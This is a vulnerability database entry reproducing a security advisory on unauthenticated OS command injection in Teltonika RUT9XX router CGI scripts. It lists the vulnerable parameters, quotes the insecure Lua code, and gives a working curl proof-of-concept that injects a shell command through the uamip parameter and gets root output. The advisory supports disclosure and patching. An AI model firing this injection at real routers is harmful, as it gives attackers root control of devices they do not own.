ID

VAR-201810-0455

CVE

CVE-2018-17532

TITLE

Teltonika RUT9XX In router firmware OS Command injection vulnerability

DESCRIPTION

Teltonika RUT9XX routers with firmware before 00.04.233 are prone to multiple unauthenticated OS command injection vulnerabilities in autologin.cgi and hotspotlogin.cgi due to insufficient user input sanitization. This allows remote attackers to execute arbitrary commands with root privileges. TeltonikaRUT9XXrouters (also known as LuCI) is a router product from Teltonika, Lithuania. * **Identifier** : SBA-ADV-20180319-01 * **Type of Vulnerability** : OS Command Injection * **Software/Product Name** : [Teltonika RUT955](https://teltonika.lt/product/rut955/) * **Vendor** : [Teltonika](https://teltonika.lt/) * **Affected Versions** : Firmware RUT9XX_R_00.04.172 and probably prior * **Fixed in Version** : RUT9XX_R_00.04.233 * **CVE ID** : CVE-2018-17532 * **CVSSv3 Vector** : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H * **CVSSv3 Base Score** : 9.8 (Critical) ## Vendor Description ## > RUT955 is a highly reliable and secure LTE router with I/O, GNSS and > RS232/RS485 for professional applications. Router delivers high > performance, mission-critical cellular communication and GPS location > capabilities. Source: <https://teltonika.lt/product/rut955/> ## Impact ## An attacker can fully compromise the device, by exploiting the vulnerabilities documented in this advisory. Sensitive data stored or transmitted via the device might get exposed through this attack. We recommend upgrading to version RUT9XX_R_00.04.233 or newer, which includes fixes for the vulnerabilities described in this advisory. The scripts are part of the coova-chilli captive portal. However, the vulnerabilities are exploitable regardless of the device configuration, even if no captive portal is configured. More concretely, the following parameters are vulnerable: * `/cgi-bin/autologin.cgi` * reply * uamport * challenge * userurl * res * reason * *If* res=success * uamip * uamport * userurl * `/cgi-bin/hotspotlogin.cgi` * *If* send=1 * uamip * TelNum * challenge * uamport * userurl * *If* button=1 or (res=wispr and UserName=1) * uamport * uamip * *If* res=success or res=already or res=popup2 * uamip * uamport * *If* res=logoff or res=popup3 * uamip * uamport The affected scripts use these parameters to build OS commands via string concatenation without proper sanitization. The vulnerabilities are located in the source files `hotspotlogin.cgi` and `landing_page_functions.lua`, which is included from `autologin.cgi` and `hotspotlogin.cgi`. For example, it provides the function `getParam`, which directly passes the argument to `io.popen`: ```lua [...] function getParam(string) local h = io.popen(string) local t = h:read() h:close() return t end [...] ``` `landing_page_functions.lua` also provides the functions `debug` and `get_ifname`, which use `os.execute` and `getParam` in an insecure way: ```lua [...] function debug(string) if debug_enable == 1 then os.execute("/usr/bin/logger -t hotspotlogin.cgi \""..string.."\"") end end [...] function get_ifname(ip) local result = getParam(format("ip addr | grep \"%s\"", ip)) local tun = string.match(result, "(tun%d+)") local ifname = "wlan0" [...] ``` For example, `hotspotlogin.cgi` makes use of the functions `get_ifname` and `getParam`. Occasionally, it also insecurely uses `os.execute` directly: ```lua [...] if send and send ~= "" and tel_num then local ifname = get_ifname(uamip) local pass = generate_code(ifname) or "0000" tel_num = tel_num:gsub("%%2B", "+") local exists = getParam("grep \"" ..tel_num.. "\" /etc/chilli/" .. ifname .. "/smsusers") local user = string.format("%s", pass) local uri = os.getenv("REQUEST_URI") local message = string.format("%s Password - %s \n Link - http://%s%s?challenge=%s&uamport=%s&uamip=%s&userurl=%s&UserName=%s&button=1", tel_num, pass, uamip, uri, challenge, uamport, uamip, userurl, pass) local smsotp_mesg=string.format("%s;%s", tel_num, pass) message = getParam(string.format("/usr/sbin/gsmctl -Ss \"%s\"", message)) if message == "OK" then os.execute("echo \""..smsotp_mesg.."\" >> /tmp/smsotp.log") sms = "sent" if exists then os.execute("sed -i 's/" ..exists.. "/" ..user.. "/g' /etc/chilli/" .. ifname .. "/smsusers") else os.execute("echo \"" ..user.. "\" >>/etc/chilli/" .. ifname .. "/smsusers") end [...] ``` In one of the first lines of the above code snippet, `hotspotlogin.cgi` calls `get_ifname` with unsanitized user input from the parameter `uamip`. A few lines later it calls `getParam` with unsanitized user input from the parameter `TelNum`. In a further call to `getParam` it uses more unsanitized user input. There are futher locations that call insecure functions like `debug` and `get_ifname` either directly or indirectly with user input from the scripts `autologin.cgi` and `hotspotlogin.cgi`. ## Proof-of-Concept ## For example, an attacker can exploit this vulnerability by manipulating the `uamip` parameter: ```sh curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #' ``` The device executes the commands with root privileges: ```bash # cat /tmp/test uid=0(root) gid=0(root) ``` ## Timeline ## * `2018-03-19` identification of vulnerability in version RUT9XX_R_00.04.84 * `2018-04-10` detailed analysis of version RUT9XX_R_00.04.161 * `2018-04-16` re-test of version RUT9XX_R_00.04.172 * `2018-04-16` initial vendor contact through public address * `2018-04-18` vendor response with security contact * `2018-04-19` disclosed vulnerability to vendor security contact * `2018-04-26` vendor released fix in version RUT9XX_R_00.04.233 * `2018-07-09` re-test of version RUT9XX_R_00.05.00.5 * `2018-09-25` request CVE from MITRE * `2018-09-26` MITRE assigned CVE-2018-17532 * `2018-10-11` public disclosure ## References ## * Firmware Changelog: <https://wiki.teltonika.lt/index.php?title=RUT9xx_Firmware> ## Credits ## * David Gnedt ([SBA Research](https://www.sba-research.org/))

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

operating system commend injection

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

David Gnedt

SOURCES

LAST UPDATE DATE

2024-11-23T22:12:19.248000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE